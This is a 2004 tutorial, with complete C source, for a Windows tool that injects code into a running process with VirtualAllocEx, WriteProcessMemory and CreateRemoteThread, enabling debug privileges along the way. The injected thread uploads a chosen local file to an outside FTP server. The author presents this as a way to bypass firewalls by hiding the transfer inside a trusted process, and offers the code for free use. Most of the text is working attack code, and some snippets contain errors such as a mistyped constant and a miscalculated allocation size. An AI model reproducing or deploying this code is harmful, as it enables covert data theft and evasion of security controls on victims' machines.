Running Arbitrary Code inside Remote Processes

By vnet576@hotmail.com
July 31, 2004

Sites:

http://www.governmentsecurity.org
http://www.codelinx.net
http://www.c0replay.net

Introduction:

This tutorial will serve as a reference for those seeking information on running arbitrary code inside the memory space of another process. The technique for injecting DLLs into processes has been around for quite awhile now. More recently however, a new technique for injecting code rather than a DLL into the virtual memory of another process, has become available. This technique has been first illustrated by the "Three Ways To Inject Your Code Into Another Process" located at codeguru. This has served as my main reference for this subject and provided base code and ideas for my implementation.

My implementation will write data into the virtual memory of a running process, which will upload a file to an ftp server of you're choice. This technique will bypass most firewalls. However, since it is not new, some firewalls have already included safeguards against this approach. For the most part however, firewalls don't check outgoing connections from processes they deem safe. Furthermore, I will include source code in this paper which you can use as you see fit.

Technique:

The basic technique follows these steps: Gain a handle on a running process, Allocate virtual memory in another process for you're function/variables, write the code into the allocated memory space, inject you're thread into that process, and finally release the allocated memory after you're function finishes.

VirtualAllocEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualallocex.asp
WriteProcessMemory() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/writeprocessmemory.asp
CreateRemoteThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/createremotethread.asp
VirtualFreeEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualfreeex.asp

Process Handle:

In order to write inside the virtual memory of another process you must first open a handle to it. There are countless techniques of achieving this so I won't bother going into all of them. The one that I'm going to use involves the OpenProcess() API.

```
HANDLE hProcess;

if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(argv[1]))))
        if(GetLastError() == ERROR_ACCESS_DENIED)
                if(DebugPrivileges() == 0)
                        return 0;
```

A process requires the PID to be opened, hence we will have to find the PID. There are several techniques for doing this. Most involve using CreateToolhelp32Snapshot() to gain a handle on all running processes and then walk through them using Process32First/Process32Next until the target process is found.

I on the other hand used the EnumProcesses() API to gain the PIDs of all running processes. Then a for loop goes through all of them and establishes a handle to each process. Afterwards GetProcessImageFileName() retrieves the .exe and compares it to the target process.

```
DWORD GetPID(LPSTR process)
{
        DWORD lpidProcess[128], pBytesReturned;
        HANDLE hProcess;
        LPTSTR lpImageFileName;

        lpImageFileName = (LPTSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
MAX_PATH);

        if(!EnumProcesses(lpidProcess, sizeof(lpidProcess), &pBytesReturned))
    return 0;
        for(DWORD i=0;i<pBytesReturned/sizeof(DWORD);i++)
        {
                if((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,  FALSE,
lpidProcess[i])))
                {
                        if(GetProcessImageFileName(hProcess, lpImageFileName, MAX_PATH))
                        {
                                CloseHandle(hProcess);
                                if(strstr(lpImageFileName, process))
                                {
                                        return lpidProcess[i];
                                        break;
                                }
                        }
                }
        }
        return 0;
}
```

However, since we need full access to the process administrative privileges are mandatory. Furthermore debug privileges will also be required for certain processes. This function opens the access token of our process, since we will be accessing other processes from this program. The handle to our process is returned by **GetCurrentProcess()**.

Note - GetCurrentProcess() merely returns a pseudo handle rather than an actual handle to the process. However, it is sufficient in most cases. Afterwards you retrieve the locally unique identifier for the SE_DEBUG_NAME value, since the value of that privilege varies from system to system. Then you change the privileges of our process using the LUID of **S**E_DEBUG_NAME.

```
int DebugPrivileges()
{
   HANDLE TokenHandle;
        LUID lpLuid;
        TOKEN_PRIVILEGES NewState;

        if(!OpenProcessToken(GetCurrentProcess(), TTOKEN_ALL_ACCESS, &TokenHandle))
                return 0;
        if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lpLuid))
        {
                CloseHandle(TokenHandle);
                return 0;
        }

        NewState.PrivilegeCount = 1;
        NewState.Privileges[0].Luid = lpLuid;
        NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL, NULL))
        {
                CloseHandle(TokenHandle);
                return 0;
        }
        CloseHandle(TokenHandle);
        return 1;
}
```

Loading Functions:

When you run code inside the virtual memory of another process you have to worry about the location of various functions in system DLLs. You can not rely on them being in the right place inside of another process. The only constant DLLs are kernel32.dll and user32.dll. The rest have to be linked explicitly. In order to do so we will first find the address of these three APIs which are used to find the address of functions inside of DLLs.

LoadLibraryEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/loadlibraryex.asp
GetProcAddress() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/loadlibraryex.asp
FreeLibraryAndExitThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/loadlibraryex.asp

Note - I am using **FreeLibraryAndExitThread()** rather than just **FreeLibrary()** since it automatically exits after unloading the system DLL.

Since kernel32.dll addresses do not change inside of other processes we can pass the addresses of functions found inside this DLL to our remote process when we inject code into it. The addresses are stored into a struct which I will get into later on. Meanwhile, it will suffice to say that these function addresses are stored as the variable type **FARPROC**.

```
HMODULE hModule;

if(!(hModule = LoadLibraryEx("kernel32.dll", NULL, 0)))
	{
		CloseHandle(hProcess);
		return 0;
	}
	if(!(functions.LoadLibraryEx = GetProcAddress(hModule, "LoadLibraryExA")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
  if(!(functions.GetProcAddress = GetProcAddress(hModule, "GetProcAddress")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
	if(!(functions.FreeLibraryAndExitThread = GetProcAddress(hModule,
"FreeLibraryAndExitThread")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
```

Variable Struct:

Another important thing to note is that strings are statically stored inside of an executable file. Hence we cannot use static strings inside of the remote process, but rather pass any and all strings inside of variables. This struct will contain the addresses of the DLLPROC APIs which will be used to find function addresses inside of the process. Furthermore, this struct will also contain all function names and other strings that will be used. Similarly, any input from the user will be passed to the remote process via this struct.

The string variables have to have allocated memory; do not pass them as pointers since you would dynamically allocating memory in another process' heap.

```
struct RMTDATA
{
   FARPROC LoadLibraryEx;
   FARPROC GetProcAddress;
   FARPROC FreeLibraryAndExitThread;
         INTERNET_PORT nServerPort;
   char lpLibFileName[16];
         char lpszInternetCloseHandle[64];
         char lpszFtpPutFile[64];
         char lpszInternetConnect[64];
         char lpszInternetOpen[64];
         char lpszServerName[64];
         char lpszUsername[64];
         char lpszPassword[64];
         char lpszLocalFile[64];
         char lpszNewRemoteFile[64];
};

strcpy(functions.lpLibFileName, "wininet.dll");
         strcpy(functions.lpszInternetCloseHandle, "InternetCloseHandle");
         strcpy(functions.lpszFtpPutFile, "FtpPutFileA");
         strcpy(functions.lpszInternetConnect, "InternetConnectA");
         strcpy(functions.lpszInternetOpen, "InternetOpenA");
         strcpy(functions.lpszServerName, argv[2]);
         strcpy(functions.lpszUsername, argv[4]);
         strcpy(functions.lpszPassword, argv[5]);
         strcpy(functions.lpszLocalFile,argv[6]);
         strcpy(functions.lpszNewRemoteFile, argv[7]);
         functions.nServerPort = atoi(argv[3]);
```

Allocating Memory:

In order to write code inside another process, we will first have to allocate space inside of its virtual memory. This is the space that windows reserves for the processes use. However, it does not check which process accesses it, hence making situations like this tutorial possible.

We need to allocate enough space to fit our function since we are write code directly rather than loading a DLL inside the remote process. Furthermore space needs to be allocated for the struct that contains the variables for the remote process. It is crucial to allocate enough memory, since if you allocate too little, the remote process will become unstable and crash.

VirtualAllocEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualallocex.asp

VirtualAllocEx() requires a handle to the process in whose virtual memory, space is being allocated. The benefit of using this API is that if the second parameter is set to NULL, the OS will automatically determine where to begin allocating data. If we try to do this manually we run the risk of accessing reserved memory and crashing the remote process.

The most important parameter is the third one for the reasons stated earlier. I convert the size of the injection function into KBs by dividing by 1024. However you may want to add slightly more memory just to be on the safe side.

The fourth parameter is the one that determines how windows allocates the memory that we have chosen. MEM_COMMIT will allocate and zero physical memory. The second flag, MEM_TOP_DOWN, is optional. It tells the OS to allocate memory as far away from the process as possible. This will ensure that no other application inadvertently accesses our memory region.

The last parameter stores access rights, which I have set to PAGE_EXECUTE_READWRITE, basically full access. The function returns the base address of the memory region that was allocated.

```
LPVOID lpStartAddress, lpParameter;

  if(!(lpStartAddress = VirtualAllocEx(hProcess, NULL, (SIZE_T)InjectThread/1024, MEM_COMMIT |
MEM_TOP_DOWN,

PAGE_EXECUTE_READWRITE)))
        {
                CloseHandle(hProcess);
                FreeLibraryAndExitThread(hModule, 0);
        }

 if(!(lpParameter = VirtualAllocEx(hProcess, NULL, sizeof(RMTDATA), MEM_COMMIT |
MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
  {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);     }
```

Writing to Memory:

Once virtual memory has been allocated the next step is to write specific data inside a specific address of a remote process. The specific address in this case will be the base address returned by **VirtualAllocEx()** and the data will be our struct and our injection function.

WriteProcessMemory() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/writeprocessmemory.asp

Once again, a handle to the remote process is necessary with full access rights. The second parameter is the base address where our code will be written. It is important that at minimum write access is enabled to that section of memory; otherwise the API will fail.

The third parameter holds a pointer to the data which we wish to write inside of the remote process. In our case it is the injection thread and the variable struct. The size of the data to write will be the size of the function and the size of the struct. The last parameter is optional in this case, hence it is ignored.

```
LPVOID lpStartAddress, lpParameter;
RMTDATA functions;
HANDLE hProcess;

if(!WriteProcessMemory(hProcess, lpStartAddress, &InjectThread, (SIZE_T)InjectThread/1024, NULL))
   {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
        }

if(!WriteProcessMemory(hProcess, lpParameter, &functions, sizeof(RMTDATA), NULL))
   {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
        }
```

Creating Remote Thread:

The next step involves launching the function that we injected into the remote process' virtual memory. To do so the **CreateRemoteThread()** API is used which according to msdn.com "creates a thread that runs in the virtual address space of another process."

CreateRemoteThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/createremotethread.asp

The CreateRemoteThread() launches the function that is located at the base address allocated by VirtualAllocEx(). The parameter it pases is a reference to the address where the struct was injected.

```
HANDLE hThread;

if(!(hThread = CreateRemoteThread(hProcess, 0, 0,(LPTHREAD_START_ROUTINE)lpStartAddress,
lpParameter,0,&lpThreadId)))
	{
		CloseHandle(hProcess);
		VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
		VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
		FreeLibraryAndExitThread(hModule, 0);
	}
```

Detached Process:

Writing code inside of another process allows the possibility of the process exiting and leaving the code in the remote process to continue running. Thus, it is possible for the injected code to then delete the executable that launched it originally. The problem of doing so is that you can't free the memory that you allocated and wrote to later on, since the executable exited, you are no longer sure which addresses to free.

Hence, in order to be able to free the allocated memory afterwards you have to wait for the remote thread to finish with **WaitForSingleObject()**, which basically waits until an object or handle in this case finishes running.

WaitForSingleObject() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/waitforsingleobject.asp

Waits infinitely for the handle returned by CreateRemoteThread() to finish running.

```
HANDLE hThread;

WaitForSingleObject(hThread, INFINITE);
```

I**njected Thread:**

The injected thread is the function that is written in the remote process. It runs just like any other function except that all strings and APIs have to be passed to it and then explicitly linked. I will not cover explicate linking in this tutorial, since it assumes that the reader already has this knowledge. In this case the remote thread will use WININET APIs to upload a file of the user's choice onto an ftp server, bypassing any firewall in the process.

All APIs that will be used inside the thread are first defined. The addresses of the DLL linking functions **LoadLibraryEx()**, **GetProcAddress()**, and **FreeLibraryAndExitThread()** are stored inside new functions. As previously mentioned since these functions come from kernel32.dll we can use static addresses. The function then proceeds to load the WININET library using the strings supplied by the variable struct. Afterwards all WININET functions are similarly loaded. Throughout this process it is important to check for errors and release the WININET DLL when these errors occur.

This tutorial will not cover the WININET functions used since that is beyond the scope of this paper. These functions merely serve as a proof of concept of the possibilities of process injection.

WININET API - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wininet/wininet/wininet_functions.asp

```
DWORD WINAPI InjectThread(LPVOID param)
{
	typedef HMODULE (WINAPI *pLoadLibraryEx)(LPCTSTR, HANDLE, DWORD);
	typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR);
	typedef void (WINAPI *pFreeLibraryAndExitThread)(HMODULE, DWORD);
	typedef HINTERNET (WINAPI *pInternetOpen) (LPCTSTR, DWORD, LPCTSTR, LPCTSTR,
DWORD);
	typedef HINTERNET (WINAPI *pInternetConnect) (HINTERNET, LPCTSTR,
INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD,

DWORD_PTR);
	typedef BOOL (WINAPI *pFtpPutFile) (HINTERNET, LPCTSTR, LPCTSTR, DWORD,
DWORD_PTR);
	typedef BOOL (WINAPI *pInternetCloseHandle) (HINTERNET);

	HMODULE hModule;
	HINTERNET hInternet, hConnect;
	pLoadLibraryEx lLoadLibraryEx;
	pGetProcAddress lGetProcAddress;
	pInternetOpen lInternetOpen;
	pInternetConnect lInternetConnect;
	pFtpPutFile lFtpPutFile;
	pInternetCloseHandle lInternetCloseHandle;
	pFreeLibraryAndExitThread lFreeLibraryAndExitThread;
	RMTDATA *functions;
```

```
	functions = (RMTDATA*)param;

	lLoadLibraryEx = (pLoadLibraryEx)functions->LoadLibraryEx;
	lGetProcAddress = (pGetProcAddress)functions->GetProcAddress;
	lFreeLibraryAndExitThread = (pFreeLibraryAndExitThread)functions-
>FreeLibraryAndExitThread;

	if((hModule = lLoadLibraryEx(functions->lpLibFileName, NULL, 0)))
	{
		if(!(lInternetCloseHandle = (pInternetCloseHandle)lGetProcAddress(hModule,

functions->lpszInternetCloseHandle)))
			lFreeLibraryAndExitThread(hModule, 0);
		if((lInternetOpen = (pInternetOpen)lGetProcAddress(hModule, functions-
>lpszInternetOpen)))
		{
			if(!(hInternet = lInternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL,INTERNET_FLAG_ASYNC)))
				lFreeLibraryAndExitThread(hModule, 0);
		}
		if((lInternetConnect = (pInternetConnect)lGetProcAddress(hModule, functions-
>lpszInternetConnect)))
		{
			if(!(hConnect = lInternetConnect(hInternet, functions->lpszServerName,
functions->nServerPort,

functions->lpszUsername, functions->lpszPassword, INTERNET_SERVICE_FTP,
INTERNET_FLAG_PASSIVE, 0)))
			{
				lInternetCloseHandle(hInternet);
				lFreeLibraryAndExitThread(hModule, 0);
			}
		}
		if((lFtpPutFile = (pFtpPutFile)lGetProcAddress(hModule, functions->lpszFtpPutFile)))
		{
			if(lFtpPutFile(hConnect, functions->lpszLocalFile, functions-
>lpszNewRemoteFile,

FTP_TRANSFER_TYPE_BINARY, 0) == FALSE)
			{
				lInternetCloseHandle(hConnect);
				lInternetCloseHandle(hInternet);
				lFreeLibraryAndExitThread(hModule, 0);
			}
		}
		lFreeLibraryAndExitThread(hModule, 0);
	}
  return 0;
}
```

Cleanup:

Throughout this exercise various handles have been opened and various sections of memory have been accesses, allocated, and written into. Hence it is very important for the program to close those handles and free that memory especially if errors occur in the program.

VirtualFreeEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualfreeex.asp

These functions release the memory allocated at the specified addresses. The MEM_RELEASE flag makes these memory sections available for any program/system function that wishes to access them later on. Failure to free the memory will result in it remaining allocated until the process restarts.

VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);

References:

Three Ways To Inject Your Code Into Another Process:
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767
http://www.firewallleaktester.com
http://www.msdn.com

Contact:

Feel free to contact me at vnet576@hotmail.com or at any of the sites listed at the top of this paper for any questions, comments, or corrections regarding this paper.

Full Source Code:

Note - I used the wininet.h file only for the various WININET variable types INTERNET_PORT. They really serve no purpose other than to conform to WININET functions.

```
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <psapi.h>
#pragma comment(lib, "psapi")

struct RMTDATA
{
   FARPROC LoadLibraryEx;
   FARPROC GetProcAddress;
```

```
   FARPROC FreeLibraryAndExitThread;
        INTERNET_PORT nServerPort;
   char lpLibFileName[16];
        char lpszInternetCloseHandle[64];
        char lpszFtpPutFile[64];
        char lpszInternetConnect[64];
        char lpszInternetOpen[64];
        char lpszServerName[64];
        char lpszUsername[64];
        char lpszPassword[64];
        char lpszLocalFile[64];
        char lpszNewRemoteFile[64];
};

int DebugPrivileges();
DWORD GetPID(LPSTR process);
DWORD WINAPI InjectThread(LPVOID param);

int main(int argc, char *argv[])
{
        HANDLE hProcess, hThread;
   LPVOID lpStartAddress, lpParameter;
   HMODULE hModule;
   RMTDATA functions;
   DWORD lpThreadId;

        if(argc < 8)
        {
                printf("Process Injection FTP Uploader 1.00\n");
                printf("vnet576@hotmail.com\n");
                printf("\nUsage: %s <process> <ftpserver> <port> <user> <password>
<localfile> <remotefile>\n", argv[0]);
                return 0;
        }

        if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
GetPID(argv[1]))))
                if(GetLastError() == ERROR_ACCESS_DENIED)
                        if(DebugPrivileges() == 0)
                                return 0;

   if(!(hModule = LoadLibraryEx("kernel32.dll", NULL, 0)))
        {
                CloseHandle(hProcess);
                return 0;
        }
```

```
	if(!(functions.LoadLibraryEx = GetProcAddress(hModule, "LoadLibraryExA")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
   if(!(functions.GetProcAddress = GetProcAddress(hModule, "GetProcAddress")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
	if(!(functions.FreeLibraryAndExitThread = GetProcAddress(hModule,
"FreeLibraryAndExitThread")))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}

	strcpy(functions.lpLibFileName, "wininet.dll");
	strcpy(functions.lpszInternetCloseHandle, "InternetCloseHandle");
	strcpy(functions.lpszFtpPutFile, "FtpPutFileA");
	strcpy(functions.lpszInternetConnect, "InternetConnectA");
	strcpy(functions.lpszInternetOpen, "InternetOpenA");
	strcpy(functions.lpszServerName, argv[2]);
	strcpy(functions.lpszUsername, argv[4]);
	strcpy(functions.lpszPassword, argv[5]);
	strcpy(functions.lpszLocalFile,argv[6]);
	strcpy(functions.lpszNewRemoteFile, argv[7]);
	functions.nServerPort = atoi(argv[3]);

   if(!(lpStartAddress = VirtualAllocEx(hProcess, NULL, (SIZE_T)InjectThread/1024,
MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
	{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
	}
   if(!WriteProcessMemory(hProcess, lpStartAddress, &InjectThread,
(SIZE_T)InjectThread/1024, NULL))
   {
		CloseHandle(hProcess);
		VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
		FreeLibraryAndExitThread(hModule, 0);
	}
   if(!(lpParameter = VirtualAllocEx(hProcess, NULL, sizeof(RMTDATA),
MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
   {
		CloseHandle(hProcess);
```

```
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
        }
        if(!WriteProcessMemory(hProcess, lpParameter, &functions,
sizeof(RMTDATA), NULL))
   {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
        }
   if(!(hThread = CreateRemoteThread(hProcess, 0,
0,(LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter,0,&lpThreadId)))
        {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
        }
   WaitForSingleObject(hThread, INFINITE);

        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
   CloseHandle(hThread);
   CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
}

DWORD WINAPI InjectThread(LPVOID param)
{
        typedef HMODULE (WINAPI *pLoadLibraryEx)(LPCTSTR, HANDLE,
DWORD);
        typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR);
        typedef void (WINAPI *pFreeLibraryAndExitThread)(HMODULE, DWORD);
        typedef HINTERNET (WINAPI *pInternetOpen) (LPCTSTR, DWORD,
LPCTSTR, LPCTSTR, DWORD);
        typedef HINTERNET (WINAPI *pInternetConnect) (HINTERNET, LPCTSTR,
INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
        typedef BOOL (WINAPI *pFtpPutFile) (HINTERNET, LPCTSTR, LPCTSTR,
DWORD, DWORD_PTR);
        typedef BOOL (WINAPI *pInternetCloseHandle) (HINTERNET);

        HMODULE hModule;
        HINTERNET hInternet, hConnect;
        pLoadLibraryEx lLoadLibraryEx;
        pGetProcAddress lGetProcAddress;
```

```
	pInternetOpen lInternetOpen;
	pInternetConnect lInternetConnect;
	pFtpPutFile lFtpPutFile;
	pInternetCloseHandle lInternetCloseHandle;
	pFreeLibraryAndExitThread lFreeLibraryAndExitThread;
	RMTDATA *functions;

	functions = (RMTDATA*)param;

	lLoadLibraryEx = (pLoadLibraryEx)functions->LoadLibraryEx;
	lGetProcAddress = (pGetProcAddress)functions->GetProcAddress;
	lFreeLibraryAndExitThread = (pFreeLibraryAndExitThread)functions-
>FreeLibraryAndExitThread;

	if((hModule = lLoadLibraryEx(functions->lpLibFileName, NULL, 0)))
	{
		if(!(lInternetCloseHandle =
(pInternetCloseHandle)lGetProcAddress(hModule, functions-
>lpszInternetCloseHandle)))
			lFreeLibraryAndExitThread(hModule, 0);
		if((lInternetOpen = (pInternetOpen)lGetProcAddress(hModule, functions-
>lpszInternetOpen)))
		{
			if(!(hInternet = lInternetOpen(NULL,
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,INTERNET_FLAG_ASYNC)))
				lFreeLibraryAndExitThread(hModule, 0);
		}
		if((lInternetConnect = (pInternetConnect)lGetProcAddress(hModule,
functions->lpszInternetConnect)))
		{
			if(!(hConnect = lInternetConnect(hInternet, functions-
>lpszServerName, functions->nServerPort, functions->lpszUsername, functions-
>lpszPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)))
			{
				lInternetCloseHandle(hInternet);
				lFreeLibraryAndExitThread(hModule, 0);
			}
		}
		if((lFtpPutFile = (pFtpPutFile)lGetProcAddress(hModule, functions-
>lpszFtpPutFile)))
		{
			if(lFtpPutFile(hConnect, functions->lpszLocalFile, functions-
>lpszNewRemoteFile, FTP_TRANSFER_TYPE_BINARY, 0) == FALSE)
			{
				lInternetCloseHandle(hConnect);
				lInternetCloseHandle(hInternet);
```

```
                                lFreeLibraryAndExitThread(hModule, 0);
                        }
                }
                lFreeLibraryAndExitThread(hModule, 0);
        }
   return 0;
}

DWORD GetPID(LPSTR process)
{
        DWORD lpidProcess[128], pBytesReturned;
        HANDLE hProcess;
        LPTSTR lpImageFileName;
        lpImageFileName = (LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, MAX_PATH);

        if(!EnumProcesses(lpidProcess, sizeof(lpidProcess), &pBytesReturned))
      return 0;
        for(DWORD i=0;i<pBytesReturned/sizeof(DWORD);i++)
        {
                if((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,
FALSE, lpidProcess[i])))
                {
                        if(GetProcessImageFileName(hProcess, lpImageFileName,
MAX_PATH))
                        {
                                CloseHandle(hProcess);
                                if(strstr(lpImageFileName, process))
                                {
                                        return lpidProcess[i];
                                        break;
                                }
                        }
                }
        }
        return 0;
}

int DebugPrivileges()
{
   HANDLE TokenHandle;
        LUID lpLuid;
        TOKEN_PRIVILEGES NewState;

        if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
&TokenHandle))
```

```
		return 0;
	if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lpLuid))
	{
		CloseHandle(TokenHandle);
		return 0;
	}

	NewState.PrivilegeCount = 1;
	NewState.Privileges[0].Luid = lpLuid;
	NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState),
NULL, NULL))
	{
		CloseHandle(TokenHandle);
		return 0;
	}

	CloseHandle(TokenHandle);
	return 1;
}
```